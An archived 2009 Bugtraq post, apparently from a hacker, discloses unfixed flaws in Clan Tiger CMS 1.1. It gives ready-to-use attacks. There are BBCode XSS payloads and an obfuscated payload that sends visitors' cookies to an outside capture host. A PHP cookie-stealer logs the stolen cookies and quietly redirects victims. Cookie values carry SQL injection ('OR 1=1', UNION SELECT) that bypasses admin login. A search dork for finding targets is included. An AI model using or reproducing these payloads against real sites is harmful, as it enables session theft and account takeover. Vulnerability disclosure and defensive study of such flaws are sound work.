| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-Id: <200904171835.n3HIZiKg029935@www3.securityfocus.com>
Date: Fri, 17 Apr 2009 12:35:44 -0600
From: y3nh4ck3r@...il.com
To: bugtraq@...urityfocus.com
Subject: CLAN TIGER CMS--MULTIPLE COOKIES HANDLING VULNERABILITIES-->
--------------------------------------------------------------
CLAN TIGER CMS MULTIPLE COOKIES HANDLING VULNERABILITIES
--------------------------------------------------------------
CMS INFORMATION:
-->WEB: http://www.clantiger.com
-->DOWNLOAD: http://www.clantiger.com/download-clan-cms
-->DEMO: http://www.demo.clantiger.com/
-->CATEGORY: CMS / Portals
-->DESCRIPTION: ClanTiger is a content management system specifically designed for gaiming
clans...
CMS VULNERABILITY:
-->TESTED ON: firefox 2.0.0.20 and IE 7.0.5730 (Default)
-->DORK: "Powered by ClanTiger"
-->CATEGORY: BYPASS-BBCODE/COOKIES STEALING && COOKIE AUTH BYPASS/SQL INJECTION
-->AFFECT VERSION: 1.1 (maybe <= ?)
-->Discovered Bug date: 2009-04-11
-->Reported Bug date: 2009-04-11
-->Fixed bug date: Not fixed
-->Info patch (????): Not fixed
-->Author: YEnH4ckEr
-->mail: y3nh4ck3r[at]gmail[dot]com
-->WEB/BLOG: N/A
-->COMMENT: A mi novia Marijose...hermano,cuņada, padres (y amigos xD) por su apoyo.
//////////////////////////////////
COOKIES STEALING (BYPASS BBCODE)
//////////////////////////////////
(BBCode again...)
--------------
BUG ZONES:
--------------
#BBCode is bypassed by differents methods and XSS is posible.
#We find BBCode on these links:
http://[HOST]/[PATH]/index.php?module=news&action=view&id=2
http://[HOST]/[PATH]/index.php?module=mycontrolpanel&action=signature
http://[HOST]/[PATH]/index.php?module=news&action=view&id=2
http://[HOST]/[PATH]/index.php?module=forum
http://[HOST]/[PATH]/index.php?module=mymessages
--------------------------------------
PROOF OF CONCEPT (SEARCHING XSS):
--------------------------------------
BOTH (FIREFOX AND IE):
[url][img]http://www.google.es onmouseover=alert(1) [/img][/url]
[email][img]pepe@...e.es onmouseover=alert(1) [/img][/email]
[email][url]http://www.prueba.es onmouseover=alert(1) [/url][/email]
[url][email]pepe@...e.es onmouseover=alert(1) [/email][/url]
..
ONLY IE:
[img][url]http://al.com onmouseover=alert(1) [/url][/img]
[img][email]pepe@...e.es onmouseover=alert(1) [/email][/img]
..
Combinations of tags:
[email][url]http://owned.com onmouseover=alert(1) [/url][/mail]
Generate:
<a href="mailto:<a href="http://owned.com onmouseover=alert(1) " target="_blank">http://owned.com onmouseover=alert(1) </a>"><a href="http://owned.com onmouseover=alert(1) " target="_blank">http://owned.com onmouseover=alert(1) </a></a>
------------------------------
COOKIES EXPLOIT (BBCODE):
------------------------------
Link --> http://www.myphpcookiestealing.es/capturethecookies.php?ck=
[url][img]http://www.victim.es onmouseover=document.location=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,109,121,112,104,112,99,111,111,107,105,101,115,116,101,97,108,105,110,103,46,101,115,47,99,97,112,116,117,114,101,116,104,101,99,111,111,107,105,101,115,46,112,104,112,63,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61)+document.cookie [/img][/url]
-----------------------------------
COOKIES STEALER (PHP SCRIPT):
-----------------------------------
<?php
$ck=$_GET["ck"]; //Capture the cookies
$manejador=fopen("exploited.txt",'a'); //Open cookies saved file
fwrite($manejador, "Cookie:\r\n".htmlentities($ck)."\r\n--EOF--\r\n"); //Save the values
fclose($manejador); //Close file
echo "<script>location.href='http://[HOST]/[PATH]/index.php?module';</script>"; //Redirect...we don't want to alert xDD
?>
///////////////////////////////////
[COOKIE]AUTH BYPASS(SQL INJECTION)
///////////////////////////////////
----------------
CONDITIONS:
----------------
**(sometimes) DB_PREFIX="" (Default)
maybe: db, db_clan, ...
**gpc_magic_quotes=off
---------------
BUG FILE:
---------------
Path --> [HOME_PATH]/functions/class.accesscontrol.php
It contents:
function checkLogin()
{
if($_COOKIE['CCC_UID'] && $_COOKIE['CCC_CODE'])
{
$uid = $_COOKIE['CCC_UID'];
$logincode = $_COOKIE['CCC_CODE'];
$query = "SELECT * FROM " . DB_PREFIX . "members WHERE md5(id)='$uid' and logincode='$logincode'";
$results = $this->db->getrow($query);
if($results['username'])
{
....
}
}
}
-----------------------------------------
PROOF OF CONCEPT (SQL INJECTION):
-----------------------------------------
Add cookies:
CCC_UID=BLABLABLA //it is not use
CCC_CODE=BLABLA' [SQL]
---------
EXAMPLE:
---------
Add cookies: (only need gpc_magic_quotes=off)
CCC_UID=pepe //it is not use
CCC_CODE=lala' OR 1=1 /* //admin
Other example: (DB_PREFIX="" and gpc_magic_quotes=off)
CCC_UID=pepe //it is not use
CCC_CODE=lala' UNION ALL SELECT * FROM members WHERE id='1 //select first user= admin? to be other (id=2,3,4...)
*******************************************************************
GREETZ TO: Str0ke, JosS and all spanish Hack3Rs community!
*******************************************************************
Powered by blists - more mailing lists